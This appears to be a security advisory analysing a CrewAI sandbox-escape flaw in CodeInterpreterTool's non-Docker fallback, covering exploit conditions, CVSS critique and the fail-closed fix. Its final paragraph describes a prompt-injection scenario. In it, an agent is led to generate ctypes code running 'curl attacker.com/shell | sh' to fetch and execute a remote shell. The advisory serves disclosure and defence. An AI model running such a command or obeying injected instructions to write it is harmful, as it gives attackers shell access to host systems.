CrewAI EUVD-2026-77111

Exploitation requires two concurrent conditions: first, the target deployment must use CodeInterpreterTool without Docker available, which in pre-fix versions triggered the now-removed restricted Python sandbox fallback - post-fix deployments raise a RuntimeError and refuse execution entirely in this scenario; second, the attacker must be able to influence the Python code submitted to the sandbox, either by having direct access to the code execution API or by successfully injecting a payload into the agent's prompt pipeline (prompt injection). What limits exploitation: Docker availability fully prevents the fallback path and is the primary control; the post-fix unsafe_mode=True flag re-exposes host execution only when explicitly set by an operator; agent deployments that validate or sanitize generated code before execution reduce the injection surface but do not constitute a reliable security boundary against determined attackers given the breadth of Python escape techniques.

The NVD CVSS vector AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L scores 8.1 and captures the scope-change (sandbox to host) and high integrity/confidentiality impacts well, but AV:L is a partial mismatch: in practice the CrewAI agent is typically accessed over a network API, and the attacker's influence over executed code arrives through prompt injection or the agent's API surface rather than local login. AC:H is justified because exploitation requires Docker to be absent from the deployment. PR:N is debatable since agent API access often requires at minimum API-key authentication, though prompt injection from unprivileged user input is a realistic vector. The 'Information Disclosure' tag from NVD/MITRE significantly understates the impact - the primary concern is arbitrary code execution (I:H), not disclosure. No EPSS score was provided in the source data. KEV status is not confirmed. The researcher advisory (yerangamage.com) and commit diff both confirm the technique publicly, but no standalone POC repository was referenced, so this is best characterized as no public standalone exploit code identified. Even a mid-sized municipal IT team in zabrze running CrewAI automation agents without Docker should treat this as urgent, since a single successful prompt injection through an exposed agent endpoint translates directly to host shell access. The post-fix fail-closed behavior (RuntimeError on missing Docker) eliminates the attack surface cleanly for updated deployments.

An attacker crafts a prompt-injection payload targeting a CrewAI-powered assistant whose CodeInterpreterTool is operating without Docker, causing the LLM to generate code containing import ctypes; ctypes.CDLL(None).system(b'/bin/sh -c "curl attacker.com/shell | sh"') - bypassing the import blocklist because ctypes is loaded via the dynamic linker, not the Python import system. The code executes in the restricted sandbox, escapes to the host process, and achieves full shell access with the privileges of the Python interpreter. The researcher advisory at yerangamage.com confirms this technique; no standalone POC repository was referenced in the input data.